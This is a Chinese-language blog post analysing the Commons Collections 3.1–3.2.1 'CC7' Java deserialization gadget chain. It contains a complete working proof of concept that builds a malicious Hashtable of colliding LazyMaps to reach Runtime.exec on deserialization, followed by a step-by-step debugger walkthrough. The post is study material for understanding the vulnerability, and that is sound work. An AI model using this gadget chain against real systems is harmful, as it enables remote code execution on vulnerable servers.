CC7


jdk 暂无限制
CommonsCollections 3.1 - 3.2.1

poc

这次跟着 poc 来分析,有点绕

package com.yq1ng.cc7;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.*;

/**
 * @author ying
 * @Description
 * @create 2021-11-24 9:35
 */

public class cc7 {
    public static void main(String[] args) throws Exception {
        Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class}, new Object[]{"calc"})
        };

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        Field field =transformerChain.getClass().getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(transformerChain,transformers);

        lazyMap2.remove("yy");

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7"));
            outputStream.writeObject(hashtable);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

老规矩,先试能不能成
image.png

小链子

先看java/util/Hashtable.java#readObject()
image.png
key 与 value 可控,跟进reconstitutionPut()
image.png
先不管e.hash == hash怎么实现,后面这个equals()是重点。通过 poc 可以知道,e.key是我们传入的LazyMap,而LazyMap是没有equals()的,这就会进入父类org/apache/commons/collections/map/AbstractMapDecorator.java#equels()
image.png
而 map 我们传入的是HashMap,而HashMap同样没有equals(),看其父类java/util/AbstractMap.java#equals()
image.png
如果 m 可控的话就可以执行命令了(废话,从 poc 分析的肯定有)。

分析 poc

上面说到入口点为java/util/Hashtable.java#readObject(),接着看看他的writeObject(),看看对我们 put 的数据有没有进行处理
image.png
正常序列化,key 与 value 都是 put 进去的。然后然序列化的时候再将 key 与 value 还原,接着进入reconstitutionPut()
image.png
来看一下reconstitutionPut()实现代码
image.png这个 e 也就是 tab 是能否进入equals()的关键了,但是可以看到,第一次调用的时候他是空的,所以在 poc 中进行了两次 put(),也就是下图
image.png
poc 再往下看
image.png
使用反射设置了 transformerChain,以前是直接 new 一个进去的
image.png
为什么这么麻烦?看java/util/Hashtable.java#put()
image.png
如果直接 new 一个可以使的 chain 的话,再 put 的时候就会触发 LazyMap#get()也就是我们构造的恶意链子,这是我们不愿意看到的,所以最后使用了反射设置恶意的 chain。
poc 最后有一个大大的lazyMap2.remove("yy");什么作用?将其注释以后会发现 poc 不能弹出计算器。在解释这个之前看一下上面的为什么要 put yyzZ,其他的 put 进去不行(自行尝试
从上面可以知道,只要进入equals()那么一切都好说,但是进去的前提是e.hash == hash
image.png
也就是第二个 key 的 hashCode 需要和第一个 key 的 hashCode 相同!聪明的你要问为什么不能传入两个一样的值?注意java/util/Hashtable.java#readObject()中的 elements 变量,他是读取数组原始个数与长度,说白了就是去重后的数组,传入一样的值会使elements==1,这样的话最后的 for 循环只能执行一次,上面说到第一次进入 for 也就是reconstitutionPut()的时候table==null,没办法触发 chain,所以需要两次才行
image.png
传入相同值调试看看
image.png
image.png
接下来看为什么构造了yyzZ,都是 String 类型的,直接去java/lang/String.javahashCode()
image.png
这就很明确了,结合下图,经过第一轮 y **与 **z **相差了 31,而 **y **与 **Z **又相差 31 将前面多的补了回来,所以 **yy **和 zZ **的 **hashCode **相等
image.png
image.png
知道为什么构造 yy 和 zZ 后再看lazyMap2.remove("yy");看似谜一样的操作,参考的博客并未说清楚为什么 **remove **,仅仅提到m.size() != size()不等就会直接 return,在这也说一下。
首先将lazyMap2.remove("yy");注释掉,然后 debug。在java/util/AbstractMap.java#equals()内观察到m.size() != size(),下图为第二次来到这个地方
image.png
这显然是 true,然后就会 return,gg。跟进size()可以知道他是entrySet()的大小
image.png
entrySet()java/util/HashMap.java中定义,看注释可以知道是返回映射的。程序第二次运行到java/util/AbstractMap.java#equals()的时候hashtableput了两个值进去的,而entrySet()返回了HashMap()的映射只有一个值,自然不等。
当你在``插入如下代码后在运行,查看控制台会惊奇的发现,lazyMap2的值竟然是{zZ=1, yy=yy},谁更改了我的代码?

System.out.println("hashtable:"+hashtable);
System.out.println("lazyMap1:"+lazyMap1);
System.out.println("lazyMap2:"+lazyMap2);
System.out.println("========================================");
lazyMap2.remove("yy");
System.out.println("hashtable:"+hashtable);
System.out.println("lazyMap1:"+lazyMap1);
System.out.println("lazyMap2:"+lazyMap2);
System.out.println("========================================");

image.png
为了解决这个困惑,我将 put 的代码段拿了出来

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

/**
 * @author ying
 * @Description
 * @create 2021-11-17 1:12 AM
 */

public class test {
    public static void main(String[] args) {
        Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        System.out.println("Before lazyMap2:"+lazyMap2);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, "M1");
        System.out.println("========================================");
        hashtable.put(lazyMap2, "M2");
        System.out.println("After lazyMap2:"+lazyMap2);
        System.out.println("========================================");
    }
}

image.png
可以看到和上面一样,开始 debug。先在hashtable.put(lazyMap2, "M2");打上断点,然后开启 debug
image.png
注意此处
image.png
接着在java/util/HashMap.java#put()打上断点,然后 f9 恢复程序,命中断点后看调用堆栈
image.png
先看第二个栈,此时正在 put 第二个值,对其与第一个值进行比较
image.png
由于两个值都是 LazyMap,所以回去调LazyMap#equals(),但是他没有equals(),所以去他的父类寻找此方法
image.png
这里的 map 其实就是innerMap1,然后来到java/util/AbstractMap.java#equals()
image.png
首先获取了传入 Object 的映射,此时的 **i **也就是innerMap1,键值为yy:1,往下看
image.png
key 是innerMap1的 key,也就是yy,m 是 lazyMap2,继续看下一个栈,来到LazyMap#get()
image.png因为 lazyMap2 没有 yy 这个键值,所以会 put 进去一个键值对yy:yy,这就解释了输出的结果,也解释了为什么要lazyMap2.remove("yy");

end

cc7 算是分析完了,分析下来还是挺有意思的,虽然是前面的链子复用,但是出现了很多新姿势


文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
  目录